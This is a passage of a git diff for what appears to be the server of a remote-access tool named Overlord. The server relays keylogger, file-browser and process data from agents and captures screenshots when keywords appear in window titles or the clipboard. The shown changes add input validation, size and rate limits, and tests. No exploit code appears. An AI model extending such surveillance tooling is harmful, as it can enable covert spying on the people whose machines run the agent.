+ const relayPayload = isHttpDownload ? null : normalizeFileBrowserAgentMessage(payload);
+ if (!isHttpDownload && !relayPayload) return;
let hasSession = false;
for (const session of sessionManager.getFileBrowserSessionsByClient(clientId)) {
@@ -460,54 +744,7 @@ export function handleFileBrowserMessage(clientId: string, payload: any, deps: W
if (ownerSessionId && session.id !== ownerSessionId) {
continue;
}
- if (payload.type === "file_download" && payload.data) {
- const data = boundedBytes(payload.data, 4 * 1024 * 1024);
- safeSendViewer(session.viewer, data
- ? { ...payload, data }
- : { type: "file_download", commandId: payload.commandId, path: payload.path, error: "Download chunk exceeded limit" });
- } else if (payload.type === "file_icon_result" && Array.isArray(payload.icons)) {
- const icons = payload.icons.slice(0, FILE_BROWSER_MAX_ICON_ITEMS).flatMap((item: any) => {
- if (!item || typeof item.key !== "string" || item.key.length > 4224) return [];
- const png = item.png ? boundedBytes(item.png, 512 * 1024) : null;
- return [{ key: item.key, ...(png ? { png } : {}), ...(item.error ? { error: String(item.error).slice(0, 512) } : {}) }];
- });
- safeSendViewer(session.viewer, { ...payload, icons });
- } else if (payload.type === "file_thumb_result" && Array.isArray(payload.thumbs)) {
- const thumbs = payload.thumbs.slice(0, FILE_BROWSER_MAX_THUMB_ITEMS).flatMap((item: any) => {
- if (!item || typeof item.key !== "string" || item.key.length > 4224) return [];
- const jpeg = item.jpeg ? boundedBytes(item.jpeg, 1024 * 1024) : null;
- return [{
- key: item.key,
- ...(jpeg ? { jpeg } : {}),
- w: Math.min(512, Math.max(0, Number(item.w) || 0)),
- h: Math.min(512, Math.max(0, Number(item.h) || 0)),
- ...(item.error ? { error: String(item.error).slice(0, 512) } : {}),
- }];
- });
- safeSendViewer(session.viewer, { ...payload, thumbs });
- } else if (payload.type === "file_peek_result" && payload.data) {
- const data = boundedBytes(payload.data, 4096);
- safeSendViewer(session.viewer, data
- ? { ...payload, data }
- : { type: "file_peek_result", commandId: payload.commandId, path: payload.path, error: "Preview data exceeded limit" });
- } else if (payload.type === "file_read_result" && typeof payload.content === "string") {
- safeSendViewer(session.viewer, payload.content.length <= FILE_BROWSER_MAX_READ_BYTES
- ? payload
- : { type: "file_read_result", commandId: payload.commandId, path: payload.path, error: "File content exceeded editor limit" });
- } else if (payload.type === "file_search_result" && Array.isArray(payload.results)) {
- const results = payload.results.slice(0, 500).flatMap((result: any) => {
- if (!result || !isSafeFileBrowserPath(result.path)) return [];
- const line = Number(result.line);
- return [{
- path: result.path,
- ...(Number.isSafeInteger(line) && line > 0 ? { line } : {}),
- ...(typeof result.match === "string" ? { match: result.match.slice(0, 4096) } : {}),
- }];
- });
- safeSendViewer(session.viewer, { ...payload, results });
- } else {
- safeSendViewer(session.viewer, payload);
- }
+ safeSendViewer(session.viewer, relayPayload, "filebrowser");
}
if (payloadCommandId) {
const isTerminalDownload = type === "file_download" && (
@@ -595,18 +832,10 @@ export function handleProcessViewerMessage(ws: ServerWebSocket, raw:
}
export function handleProcessMessage(clientId: string, payload: any) {
+ const relayPayload = normalizeProcessAgentMessage(payload);
+ if (!relayPayload) return;
for (const session of sessionManager.getProcessSessionsByClient(clientId)) {
- if (payload.type === "process_icon_result" && Array.isArray(payload.icons)) {
- const icons = payload.icons.map((item: any) => {
- if (item && item.png && !(item.png instanceof Uint8Array)) {
- return { ...item, png: new Uint8Array(item.png) };
- }
- return item;
- });
- safeSendViewer(session.viewer, { ...payload, icons });
- } else {
- safeSendViewer(session.viewer, payload);
- }
+ safeSendViewer(session.viewer, relayPayload, "processes");
}
}
@@ -680,7 +909,9 @@ export function handleKeyloggerViewerMessage(ws: ServerWebSocket, ra
}
export function handleKeyloggerMessage(clientId: string, payload: any) {
+ const relayPayload = normalizeKeyloggerAgentMessage(payload);
+ if (!relayPayload) return;
for (const session of sessionManager.getKeyloggerSessionsByClient(clientId)) {
- safeSendViewer(session.viewer, payload);
+ safeSendViewer(session.viewer, relayPayload, "keylogger");
}
}
diff --git a/Overlord-Server/src/server/ws-notifications-plugin.ts b/Overlord-Server/src/server/ws-notifications-plugin.ts
index 1daf78f..b8119cb 100644
--- a/Overlord-Server/src/server/ws-notifications-plugin.ts
+++ b/Overlord-Server/src/server/ws-notifications-plugin.ts
@@ -8,7 +8,12 @@ import { metrics } from "../metrics";
import { encodeMessage } from "../protocol";
import * as sessionManager from "../sessions/sessionManager";
import type { SocketData } from "../sessions/types";
-import { deliverWebPushClientEvent, deliverClientEventToExternalChannels, type UserDeliveryTarget } from "./notification-delivery";
+import {
+ deliverWebPushClientEvent,
+ deliverClientEventToExternalChannels,
+ validateNotificationScreenshotPayload,
+ type UserDeliveryTarget,
+} from "./notification-delivery";
type NotificationRecord = {
id: string;
@@ -40,7 +45,7 @@ type AntiSpamState = {
blockedUntil: number;
};
-type PendingNotificationScreenshot = {
+export type PendingNotificationScreenshot = {
notificationId: string;
clientId: string;
ts: number;
@@ -57,6 +62,95 @@ type NotificationConfigShape = {
antiSpamCooldownMs?: number;
};
+const MAX_NOTIFICATION_TITLE_LENGTH = 512;
+const MAX_NOTIFICATION_KEYWORD_LENGTH = 128;
+const MAX_NOTIFICATION_PROCESS_LENGTH = 256;
+const MAX_NOTIFICATION_PATH_LENGTH = 2_048;
+export const MAX_PENDING_NOTIFICATION_SCREENSHOTS = 1_000;
+export const MAX_PENDING_NOTIFICATION_SCREENSHOTS_PER_CLIENT = 2;
+const MAX_PENDING_NOTIFICATION_SCREENSHOT_AGE_MS = 30_000;
+
+// Exported for the audit regression tests that document the stricter event
+// policy we intentionally rolled back for plugin compatibility. These limits
+// are no longer applied to plugin traffic.
+export const MAX_PLUGIN_EVENT_PAYLOAD_BYTES = 256 * 1024;
+export const MAX_PLUGIN_EVENTS_PER_KEY_PER_MINUTE = 120;
+export const MAX_BUFFERED_PLUGIN_EVENT_BYTES_PER_KEY = 8 * 1024 * 1024;
+export const MAX_BUFFERED_PLUGIN_EVENT_BYTES_PER_CLIENT = 16 * 1024 * 1024;
+export const MAX_BUFFERED_PLUGIN_EVENT_BYTES_GLOBAL = 64 * 1024 * 1024;
+
+export function hasPluginUIEventBufferCapacity(
+ keyBytes: number,
+ clientBytes: number,
+ globalBytes: number,
+ incomingBytes: number,
+): boolean {
+ return incomingBytes >= 0
+ && keyBytes + incomingBytes <= MAX_BUFFERED_PLUGIN_EVENT_BYTES_PER_KEY
+ && clientBytes + incomingBytes <= MAX_BUFFERED_PLUGIN_EVENT_BYTES_PER_CLIENT
+ && globalBytes + incomingBytes <= MAX_BUFFERED_PLUGIN_EVENT_BYTES_GLOBAL;
+}
+
+export function isPlausibleChatAttachmentEventPayload(value: unknown): boolean {
+ if (!value || typeof value !== "object" || Array.isArray(value)) return false;
+ const attachment = value as Record;
+ const dataB64 = attachment.dataB64;
+ const mime = typeof attachment.mime === "string" ? attachment.mime.trim().toLowerCase() : "";
+ return typeof dataB64 === "string"
+ && dataB64.length > 0
+ && dataB64.length <= Math.ceil((5 * 1024 * 1024) / 3) * 4
+ && dataB64.length % 4 === 0
+ && /^[A-Za-z0-9+/]*={0,2}$/.test(dataB64)
+ && new Set(["image/png", "image/jpeg", "image/webp"]).has(mime);
+}
+
+export function hasPendingNotificationScreenshotCapacity(
+ pendingScreenshots: Map,
+ clientId: string,
+ now = Date.now(),
+): boolean {
+ let clientCount = 0;
+ for (const [commandId, pending] of pendingScreenshots) {
+ if (now - pending.ts > MAX_PENDING_NOTIFICATION_SCREENSHOT_AGE_MS) {
+ clearTimeout(pending.timeout);
+ pendingScreenshots.delete(commandId);
+ continue;
+ }
+ if (pending.clientId === clientId) clientCount += 1;
+ }
+ return pendingScreenshots.size < MAX_PENDING_NOTIFICATION_SCREENSHOTS
+ && clientCount < MAX_PENDING_NOTIFICATION_SCREENSHOTS_PER_CLIENT;
+}
+
+function sanitizeNotificationText(value: unknown, maxLength: number): string {
+ if (typeof value !== "string") return "";
+ return value
+ .replace(/[\u0000-\u001f\u007f]/g, " ")
+ .trim()
+ .slice(0, maxLength);
+}
+
+export function normalizeClientNotificationPayload(
+ payload: any,
+): Omit | null {
+ const title = sanitizeNotificationText(payload?.title, MAX_NOTIFICATION_TITLE_LENGTH);
+ if (!title) return null;
+
+ const rawPid = Number(payload?.pid);
+ const pid = Number.isSafeInteger(rawPid) && rawPid > 0 && rawPid <= 0xffff_ffff
+ ? rawPid
+ : undefined;
+
+ return {
+ title,
+ process: sanitizeNotificationText(payload?.process, MAX_NOTIFICATION_PROCESS_LENGTH),
+ processPath: sanitizeNotificationText(payload?.processPath, MAX_NOTIFICATION_PATH_LENGTH),
+ pid,
+ keyword: sanitizeNotificationText(payload?.keyword, MAX_NOTIFICATION_KEYWORD_LENGTH),
+ category: payload?.category === "clipboard" ? "clipboard" : "active_window",
+ };
+}
+
type CreateDeps = {
notificationRate: Map;
pendingNotificationScreenshots: Map;
@@ -100,6 +194,29 @@ function safeSendViewer(ws: ServerWebSocket, payload: unknown) {
export function createNotificationPluginHandlers(deps: CreateDeps) {
const antiSpamState = new Map();
+ const purgatoryExternalRates = new Map();
+ let purgatoryGlobalRate = { windowStart: Date.now(), count: 0 };
+ function allowPurgatoryExternalDelivery(ip: string | undefined): boolean {
+ const now = Date.now();
+ const windowMs = 60_000;
+ if (now - purgatoryGlobalRate.windowStart >= windowMs) {
+ purgatoryGlobalRate = { windowStart: now, count: 0 };
+ }
+ const key = String(ip || "unknown");
+ let perIp = purgatoryExternalRates.get(key);
+ if (!perIp || now - perIp.windowStart >= windowMs) {
+ perIp = { windowStart: now, count: 0 };
+ }
+ purgatoryGlobalRate.count += 1;
+ perIp.count += 1;
+ purgatoryExternalRates.set(key, perIp);
+ if (purgatoryExternalRates.size > 10_000) {
+ for (const [rateKey, entry] of purgatoryExternalRates) {
+ if (now - entry.windowStart >= windowMs * 2) purgatoryExternalRates.delete(rateKey);
+ }
+ }
+ return purgatoryGlobalRate.count <= 20 && perIp.count <= 3;
+ }
const pluginUIEventBuffer = new Map>();
const PLUGIN_UI_EVENT_BUFFER_MAX = 200;
@@ -123,13 +240,20 @@ export function createNotificationPluginHandlers(deps: CreateDeps) {
const list = pluginUIEventBuffer.get(key);
if (!list || list.length === 0) return [];
const now = Date.now();
- const fresh = list.filter((e) => now - e.ts < PLUGIN_UI_EVENT_TTL_MS);
+ const fresh = list.filter((entry) => now - entry.ts < PLUGIN_UI_EVENT_TTL_MS);
pluginUIEventBuffer.delete(key);
return fresh.map(({ event, payload }) => ({ event, payload }));
}
function requestNotificationScreenshot(info: any, record: NotificationRecord) {
if (!info || !info.ws) return;
+ if (!hasPendingNotificationScreenshotCapacity(
+ deps.pendingNotificationScreenshots,
+ record.clientId,
+ )) {
+ logger.warn(`[notify] skipped screenshot request because the pending queue is full client=${record.clientId}`);
+ return;
+ }
const commandId = `notify-shot-${uuidv4()}`;
const timeout = setTimeout(() => {
deps.pendingNotificationScreenshots.delete(commandId);
@@ -252,9 +376,10 @@ export function createNotificationPluginHandlers(deps: CreateDeps) {
antiSpamState.delete(key);
}
}
+
}
- setInterval(pruneNotificationRate, 60_000);
+ setInterval(pruneNotificationRate, 60_000).unref?.();
function flushPluginEvents(clientId: string, pluginId: string) {
const key = `${clientId}:${pluginId}`;
@@ -315,34 +440,28 @@ export function createNotificationPluginHandlers(deps: CreateDeps) {
},
handleNotification(clientId: string, payload: any) {
- const ts = Number(payload.ts) || Date.now();
- const title = typeof payload.title === "string" ? payload.title : "";
- if (!title) return;
- const keyword = typeof payload.keyword === "string" ? payload.keyword : "";
- const rateKey = `${clientId}:${keyword || title}`;
+ const normalized = normalizeClientNotificationPayload(payload);
+ if (!normalized) return;
+ const ts = Date.now();
+ const rateKey = clientId;
if (!shouldAcceptNotification(rateKey, ts)) {
return;
}
- const antiSpamKey = `${clientId}:${keyword || title}`;
+ const antiSpamKey = clientId;
if (!checkAntiSpam(antiSpamKey, ts)) {
return;
}
const info = clientManager.getClient(clientId);
- const category: "active_window" | "clipboard" =
- payload.category === "clipboard" ? "clipboard" : "active_window";
- logger.info(`[notify] client=${clientId} keyword=${keyword || "-"} category=${category} title=${title}`);
+ logger.info(
+ `[notify] client=${clientId} keyword=${normalized.keyword || "-"} category=${normalized.category} title=${normalized.title}`,
+ );
const record: NotificationRecord = {
id: uuidv4(),
clientId,
host: info?.host,
user: info?.user,
os: info?.os,
- title,
- process: typeof payload.process === "string" ? payload.process : "",
- processPath: typeof payload.processPath === "string" ? payload.processPath : "",
- pid: Number(payload.pid) || undefined,
- keyword,
- category,
+ ...normalized,
ts,
};
@@ -350,12 +469,12 @@ export function createNotificationPluginHandlers(deps: CreateDeps) {
const muted = deps.isClientNotificationsMuted(clientId);
- requestNotificationScreenshot(info, record);
-
if (muted) {
return;
}
+ requestNotificationScreenshot(info, record);
+
for (const session of sessionManager.getAllNotificationSessions().values()) {
const sRole = session.userRole ?? session.viewer.data.userRole ?? "";
const sUserId = session.userId ?? session.viewer.data.userId;
@@ -376,11 +495,14 @@ export function createNotificationPluginHandlers(deps: CreateDeps) {
clientId: string,
crash: { reason: string; detail?: string; host?: string; user?: string; os?: string },
) {
- const reason = String(crash.reason || "").trim();
+ const ts = Date.now();
+ if (!shouldAcceptNotification(clientId, ts) || !checkAntiSpam(clientId, ts)) return;
+
+ const reason = sanitizeNotificationText(crash.reason, 128);
if (!reason) return;
const info = clientManager.getClient(clientId);
- const detail = String(crash.detail || "").trim();
+ const detail = sanitizeNotificationText(crash.detail, MAX_NOTIFICATION_PATH_LENGTH);
const record: NotificationRecord = {
id: uuidv4(),
clientId,
@@ -393,7 +515,7 @@ export function createNotificationPluginHandlers(deps: CreateDeps) {
detail,
keyword: "crash",
category: "crash_report",
- ts: Date.now(),
+ ts,
};
logger.warn(`[notify] crash report client=${clientId} reason=${reason}`);
@@ -419,11 +541,22 @@ export function createNotificationPluginHandlers(deps: CreateDeps) {
);
},
- handleNotificationScreenshotFailure(commandId?: string, ok?: boolean, message?: string) {
+ handleNotificationScreenshotFailure(
+ commandId?: string,
+ ok?: boolean,
+ message?: string,
+ clientId?: string,
+ ) {
if (!commandId) return;
if (ok === true) return;
const pending = deps.pendingNotificationScreenshots.get(commandId);
if (!pending) return;
+ if (!clientId || pending.clientId !== clientId) {
+ logger.warn(
+ `[notify] ignored screenshot failure from wrong client commandId=${commandId}`,
+ );
+ return;
+ }
clearTimeout(pending.timeout);
deps.pendingNotificationScreenshots.delete(commandId);
if (message) {
@@ -436,6 +569,12 @@ export function createNotificationPluginHandlers(deps: CreateDeps) {
if (!commandId) return;
const pending = deps.pendingNotificationScreenshots.get(commandId);
if (!pending) return;
+ if (pending.clientId !== clientId) {
+ logger.warn(
+ `[notify] ignored screenshot result for wrong client commandId=${commandId}`,
+ );
+ return;
+ }
clearTimeout(pending.timeout);
deps.pendingNotificationScreenshots.delete(commandId);
@@ -444,24 +583,18 @@ export function createNotificationPluginHandlers(deps: CreateDeps) {
return;
}
- let bytes: Uint8Array | null = null;
- if (payload.data instanceof Uint8Array) {
- bytes = payload.data;
- } else if (payload.data instanceof ArrayBuffer) {
- bytes = new Uint8Array(payload.data);
- } else if (ArrayBuffer.isView(payload.data)) {
- bytes = new Uint8Array(payload.data.buffer);
- }
-
- if (!bytes || bytes.length === 0) {
- logger.warn(`[notify] screenshot missing data commandId=${commandId}`);
+ const screenshot = validateNotificationScreenshotPayload(payload);
+ if (!screenshot) {
+ logger.warn(`[notify] rejected invalid screenshot commandId=${commandId}`);
return;
}
-
- const format = typeof payload.format === "string" ? payload.format : "jpeg";
- const width = Number(payload.width) || undefined;
- const height = Number(payload.height) || undefined;
- deps.storeNotificationScreenshot(pending, bytes, format, width, height);
+ deps.storeNotificationScreenshot(
+ pending,
+ screenshot.bytes,
+ screenshot.format,
+ screenshot.width,
+ screenshot.height,
+ );
},
clearPendingNotificationScreenshots(clientId: string) {
@@ -526,6 +659,14 @@ export function createNotificationPluginHandlers(deps: CreateDeps) {
safeSendViewer(session.viewer, item);
}
+ // Keep browser viewers live, but prevent a leaked agent token from
+ // amplifying fresh-key enrollment floods into unbounded push/webhook/
+ // Telegram traffic.
+ if (event === "client_purgatory" && !allowPurgatoryExternalDelivery(info.ip)) {
+ logger.warn(`[notify] suppressed excessive purgatory external delivery from ${info.ip || "unknown"}`);
+ return;
+ }
+
const externalTargets = deps.getDeliveryTargetsForClientEvent(event, info.id);
const pushEnabledByUser = new Map(externalTargets.map((t) => [t.userId, t.clientEventPush]));
diff --git a/Overlord-Server/src/server/ws-viewer-utils.test.ts b/Overlord-Server/src/server/ws-viewer-utils.test.ts
index 3b77d71..c8f4f46 100644
--- a/Overlord-Server/src/server/ws-viewer-utils.test.ts
+++ b/Overlord-Server/src/server/ws-viewer-utils.test.ts
@@ -1,5 +1,25 @@
import { describe, expect, test } from "bun:test";
-import { buildViewerFrameBuffer } from "./ws-viewer-utils";
+import { encode } from "@msgpack/msgpack";
+import {
+ buildViewerFrameBuffer,
+ decodeViewerPayload,
+ MAX_VIEWER_AUDIO_CHUNK_BYTES,
+ MAX_VIEWER_BUFFERED_BYTES,
+ MAX_VIEWER_MESSAGE_BYTES,
+ safeSendViewer,
+ safeSendViewerBytes,
+} from "./ws-viewer-utils";
+
+describe("viewer inbound MessagePack limits", () => {
+ test("decodes normal payloads and rejects allocation-amplifying containers", () => {
+ expect(decodeViewerPayload(encode({ type: "input", x: 10 }))).toEqual({
+ type: "input",
+ x: 10,
+ });
+ expect(decodeViewerPayload(new Uint8Array([0xdd, 0xff, 0xff, 0xff, 0xff])))
+ .toBeNull();
+ });
+});
describe("viewer frame protocol", () => {
test("encodes HEVC as compact frame format 5", () => {
@@ -19,3 +39,40 @@ describe("viewer frame protocol", () => {
expect(frame.slice(12)).toEqual(payload);
});
});
+
+describe("viewer outbound limits", () => {
+ function mockViewer(buffered = 0) {
+ const sent: unknown[] = [];
+ return {
+ sent,
+ socket: {
+ data: {},
+ getBufferedAmount: () => buffered,
+ send: (value: unknown) => { sent.push(value); },
+ } as any,
+ };
+ }
+
+ test("drops encoded messages that exceed the cap or a backpressured socket", () => {
+ const oversized = mockViewer();
+ expect(safeSendViewer(oversized.socket, { value: "x".repeat(MAX_VIEWER_MESSAGE_BYTES + 1) })).toBe(false);
+ expect(oversized.sent).toHaveLength(0);
+
+ const backpressured = mockViewer(MAX_VIEWER_BUFFERED_BYTES + 1);
+ expect(safeSendViewer(backpressured.socket, { ok: true })).toBe(false);
+ expect(backpressured.sent).toHaveLength(0);
+ });
+
+ test("bounds binary chunks and preserves accepted subviews", () => {
+ const rejected = mockViewer();
+ expect(safeSendViewerBytes(rejected.socket, new Uint8Array())).toBe(false);
+ expect(safeSendViewerBytes(rejected.socket, new Uint8Array(MAX_VIEWER_AUDIO_CHUNK_BYTES + 1))).toBe(false);
+ expect(rejected.sent).toHaveLength(0);
+
+ const accepted = mockViewer();
+ const backing = new Uint8Array([9, 1, 2, 3, 8]);
+ expect(safeSendViewerBytes(accepted.socket, backing.subarray(1, 4))).toBe(true);
+ expect(accepted.sent).toHaveLength(1);
+ expect(Array.from(accepted.sent[0] as Uint8Array)).toEqual([1, 2, 3]);
+ });
+});
diff --git a/Overlord-Server/src/server/ws-viewer-utils.ts b/Overlord-Server/src/server/ws-viewer-utils.ts
index 5a1d3a0..9096a72 100644
--- a/Overlord-Server/src/server/ws-viewer-utils.ts
+++ b/Overlord-Server/src/server/ws-viewer-utils.ts
@@ -1,9 +1,14 @@
import type { ServerWebSocket } from "bun";
import { decode as msgpackDecode, encode as msgpackEncode } from "@msgpack/msgpack";
import { logger } from "../logger";
+import { preflightMessagePack } from "../messagepack-preflight";
import { metrics } from "../metrics";
import type { SocketData } from "../sessions/types";
+export const MAX_VIEWER_MESSAGE_BYTES = 256 * 1024 * 1024;
+export const MAX_VIEWER_BUFFERED_BYTES = 64 * 1024 * 1024;
+export const MAX_VIEWER_AUDIO_CHUNK_BYTES = 16 * 1024 * 1024;
+
export function decodeViewerPayload(raw: string | ArrayBuffer | Uint8Array): any | null {
if (typeof raw === "string") {
try {
@@ -14,6 +19,7 @@ export function decodeViewerPayload(raw: string | ArrayBuffer | Uint8Array): any
}
try {
const buf = raw instanceof Uint8Array ? raw : new Uint8Array(raw);
+ preflightMessagePack(buf);
return msgpackDecode(buf);
} catch {
return null;
@@ -24,11 +30,45 @@ export function safeSendViewer(
ws: ServerWebSocket,
payload: unknown,
logContext = "viewer",
-) {
+): boolean {
try {
- ws.send(msgpackEncode(payload));
+ if ((ws.getBufferedAmount?.() ?? 0) > MAX_VIEWER_BUFFERED_BYTES) {
+ logger.debug(`[${logContext}] dropped viewer message due to backpressure`);
+ return false;
+ }
+ const encoded = msgpackEncode(payload);
+ if (encoded.byteLength > MAX_VIEWER_MESSAGE_BYTES) {
+ logger.debug(`[${logContext}] dropped oversized viewer message (${encoded.byteLength} bytes)`);
+ return false;
+ }
+ ws.send(encoded);
+ return true;
} catch (err) {
logger.error(`[${logContext}] viewer send failed`, err);
+ return false;
+ }
+}
+
+export function safeSendViewerBytes(
+ ws: ServerWebSocket,
+ bytes: Uint8Array,
+ maxBytes = MAX_VIEWER_AUDIO_CHUNK_BYTES,
+ logContext = "viewer-binary",
+): boolean {
+ try {
+ if (bytes.byteLength === 0 || bytes.byteLength > maxBytes) {
+ logger.debug(`[${logContext}] dropped invalid viewer binary chunk (${bytes.byteLength} bytes)`);
+ return false;
+ }
+ if ((ws.getBufferedAmount?.() ?? 0) > MAX_VIEWER_BUFFERED_BYTES) {
+ logger.debug(`[${logContext}] dropped viewer binary chunk due to backpressure`);
+ return false;
+ }
+ ws.send(bytes);
+ return true;
+ } catch (err) {
+ logger.error(`[${logContext}] viewer binary send failed`, err);
+ return false;
}
}
diff --git a/Overlord-Server/src/server/ws-voice.ts b/Overlord-Server/src/server/ws-voice.ts
index 048bc20..3b028e4 100644
--- a/Overlord-Server/src/server/ws-voice.ts
+++ b/Overlord-Server/src/server/ws-voice.ts
@@ -5,6 +5,7 @@ import { encodeMessage } from "../protocol";
import * as sessionManager from "../sessions/sessionManager";
import type { SocketData, VoiceViewer } from "../sessions/types";
import { canUserAccessClient } from "../users";
+import { safeSendViewerBytes } from "./ws-viewer-utils";
function sendVoiceCommand(clientId: string, commandType: "voice_session_start" | "voice_session_stop" | "voice_downlink", payload: Record) {
const target = clientManager.getClient(clientId);
@@ -83,25 +84,20 @@ export function handleVoiceViewerMessage(ws: ServerWebSocket, raw: s
}
export function handleVoiceUplink(clientId: string, payload: any) {
+ if (typeof payload?.sessionId === "string" && payload.sessionId.length > 128) return;
const sessionId = typeof payload?.sessionId === "string" ? payload.sessionId : "";
const bytes = payload?.data instanceof Uint8Array
? payload.data
: payload?.data instanceof ArrayBuffer
? new Uint8Array(payload.data)
: ArrayBuffer.isView(payload?.data)
- ? new Uint8Array(payload.data.buffer)
+ ? new Uint8Array(payload.data.buffer, payload.data.byteOffset, payload.data.byteLength)
: null;
if (!bytes || bytes.byteLength === 0) return;
for (const session of sessionManager.getVoiceSessionsByClient(clientId)) {
- if (sessionId) {
- if (session.id !== sessionId) continue;
- }
- try {
- session.viewer.send(bytes);
- } catch {
- // ignore failed sends; cleanup happens on close
- }
+ if (sessionId && session.id !== sessionId) continue;
+ safeSendViewerBytes(session.viewer, bytes, undefined, "voice");
}
}
diff --git a/Overlord-Server/src/sessions/types.ts b/Overlord-Server/src/sessions/types.ts
index c38d048..9e8ff54 100644
--- a/Overlord-Server/src/sessions/types.ts
+++ b/Overlord-Server/src/sessions/types.ts
@@ -29,12 +29,17 @@ export type SocketData = {
autoTasksRan?: boolean;
autoDeploysRan?: boolean;
enrollmentNonce?: string;
+ enrollmentState?: "challenged" | "verifying" | "authenticated" | "rejected";
+ enrollmentTimeout?: ReturnType;
disconnectReason?: string;
disconnectDetail?: string;
rdDecoderCodecs?: string[];
rdPreferredCodecs?: string[];
rdCodecTransport?: "websocket" | "webrtc";
rdSelectedCodec?: string;
+ ingressBudgetUpdatedAt?: number;
+ ingressByteTokens?: number;
+ ingressMessageTokens?: number;
};
export type ConsoleSession = {
diff --git a/Overlord-Server/src/thumbnails-security.test.ts b/Overlord-Server/src/thumbnails-security.test.ts
new file mode 100644
index 0000000..7876814
--- /dev/null
+++ b/Overlord-Server/src/thumbnails-security.test.ts
@@ -0,0 +1,194 @@
+import { describe, expect, test } from "bun:test";
+import {
+ MAX_PENDING_THUMBNAIL_FRAMES,
+ MAX_QUEUED_THUMBNAIL_GEN,
+ MAX_THUMBNAIL_REQUEST_IDS,
+ MAX_THUMBNAIL_SOURCE_BYTES,
+ MAX_THUMBNAIL_WAITER_IDS,
+ clearThumbnail,
+ clearThumbnailRequest,
+ createBoundedThumbnailScheduler,
+ generateThumbnail,
+ getThumbnailStats,
+ getThumbnailVersion,
+ markThumbnailRequested,
+ notifyThumbnailGenerated,
+ requestThumbnailRegen,
+ setLatestFrame,
+ waitForThumbnail,
+} from "./thumbnails";
+
+function deferred() {
+ let resolve!: (value: T | PromiseLike) => void;
+ let reject!: (reason?: unknown) => void;
+ const promise = new Promise((res, rej) => {
+ resolve = res;
+ reject = rej;
+ });
+ return { promise, resolve, reject };
+}
+
+describe("thumbnail fleet resource bounds", () => {
+ test("generation scheduler rejects work beyond its bounded queue", async () => {
+ const scheduler = createBoundedThumbnailScheduler(1, 2);
+ const gates = [deferred(), deferred(), deferred()];
+ const jobs = gates.map((gate) => scheduler.run(() => gate.promise));
+
+ expect(scheduler.getStats()).toEqual({ active: 1, queued: 2 });
+ const rejected = await scheduler.run(async () => undefined);
+ expect(rejected).toEqual({ accepted: false });
+ expect(scheduler.getStats()).toEqual({ active: 1, queued: 2 });
+
+ gates[0]!.resolve();
+ expect(await jobs[0]).toEqual({ accepted: true, value: undefined });
+ await Promise.resolve();
+ expect(scheduler.getStats()).toEqual({ active: 1, queued: 1 });
+
+ gates[1]!.resolve();
+ await jobs[1];
+ gates[2]!.resolve();
+ await jobs[2];
+ await Promise.resolve();
+ expect(scheduler.getStats()).toEqual({ active: 0, queued: 0 });
+ });
+
+ test("pending source frames are admitted only up to the fleet count cap", () => {
+ const prefix = `pending-${crypto.randomUUID()}`;
+ const ids: string[] = [];
+ try {
+ for (let index = 0; index < MAX_PENDING_THUMBNAIL_FRAMES; index += 1) {
+ const id = `${prefix}-${index}`;
+ ids.push(id);
+ expect(setLatestFrame(id, new Uint8Array([index & 0xff]), "jpeg")).toBe(true);
+ }
+ const rejectedId = `${prefix}-rejected`;
+ ids.push(rejectedId);
+ expect(setLatestFrame(rejectedId, new Uint8Array([1]), "jpeg")).toBe(false);
+
+ const stats = getThumbnailStats();
+ expect(stats.pendingFrames).toBe(MAX_PENDING_THUMBNAIL_FRAMES);
+ expect(stats.pendingFrameBytes).toBe(MAX_PENDING_THUMBNAIL_FRAMES);
+ expect(stats.pendingFrameMax).toBe(MAX_PENDING_THUMBNAIL_FRAMES);
+ expect(stats.genQueueMax).toBe(MAX_QUEUED_THUMBNAIL_GEN);
+ } finally {
+ for (const id of ids) clearThumbnail(id);
+ }
+ expect(getThumbnailStats().pendingFrames).toBe(0);
+ });
+
+ test("oversized and failed sources release pending-frame accounting", async () => {
+ const oversizedId = `oversized-${crypto.randomUUID()}`;
+ expect(
+ setLatestFrame(
+ oversizedId,
+ new Uint8Array(MAX_THUMBNAIL_SOURCE_BYTES + 1),
+ "jpeg",
+ ),
+ ).toBe(false);
+
+ const invalidId = `invalid-${crypto.randomUUID()}`;
+ expect(setLatestFrame(invalidId, new Uint8Array([1, 2, 3]), "x".repeat(4 * 1024 * 1024))).toBe(false);
+ expect(setLatestFrame(invalidId, new Uint8Array([1, 2, 3]), "gif")).toBe(false);
+ expect(await generateThumbnail(invalidId)).toBe(false);
+
+ const failedId = `failed-${crypto.randomUUID()}`;
+ expect(setLatestFrame(failedId, new Uint8Array([1, 2, 3]), "jpeg")).toBe(true);
+ const originalImage = (Bun as any).Image;
+ try {
+ (Bun as any).Image = undefined;
+ expect(await generateThumbnail(failedId)).toBe(false);
+ } finally {
+ (Bun as any).Image = originalImage;
+ }
+ expect(getThumbnailStats().pendingFrames).toBe(0);
+ });
+
+ test("requests without a retained source do not create generation work", async () => {
+ const prefix = `empty-${crypto.randomUUID()}`;
+ const results = await Promise.all(
+ Array.from({ length: MAX_QUEUED_THUMBNAIL_GEN + 10 }, (_, index) =>
+ requestThumbnailRegen(`${prefix}-${index}`)),
+ );
+ expect(results.every((value) => value === false)).toBe(true);
+ const stats = getThumbnailStats();
+ expect(stats.genActive).toBe(0);
+ expect(stats.genQueued).toBe(0);
+ expect(stats.genStateTracked).toBe(0);
+ });
+
+ test("generated cache bytes stay bounded and versions survive cache clears", async () => {
+ const originalImage = (Bun as any).Image;
+ class FakeImage {
+ resize() {
+ return {
+ webp: () => ({ bytes: async () => new Uint8Array([1]) }),
+ };
+ }
+ }
+ (Bun as any).Image = FakeImage;
+ const prefix = `metadata-${crypto.randomUUID()}`;
+ const ids: string[] = [];
+ try {
+ const cacheMax = getThumbnailStats().cacheMax;
+ for (let index = 0; index <= cacheMax; index += 1) {
+ const id = `${prefix}-${index}`;
+ ids.push(id);
+ if (!setLatestFrame(id, new Uint8Array([1]), "jpeg")) {
+ throw new Error("test frame unexpectedly rejected");
+ }
+ if (!await generateThumbnail(id)) {
+ throw new Error("test thumbnail unexpectedly failed");
+ }
+ }
+ const reconnectId = ids[ids.length - 1]!;
+ const versionBeforeClear = getThumbnailVersion(reconnectId);
+ expect(versionBeforeClear).toBeGreaterThan(0);
+ clearThumbnail(reconnectId);
+ expect(setLatestFrame(reconnectId, new Uint8Array([1]), "jpeg")).toBe(true);
+ expect(await generateThumbnail(reconnectId)).toBe(true);
+ expect(getThumbnailVersion(reconnectId)).toBeGreaterThan(versionBeforeClear);
+
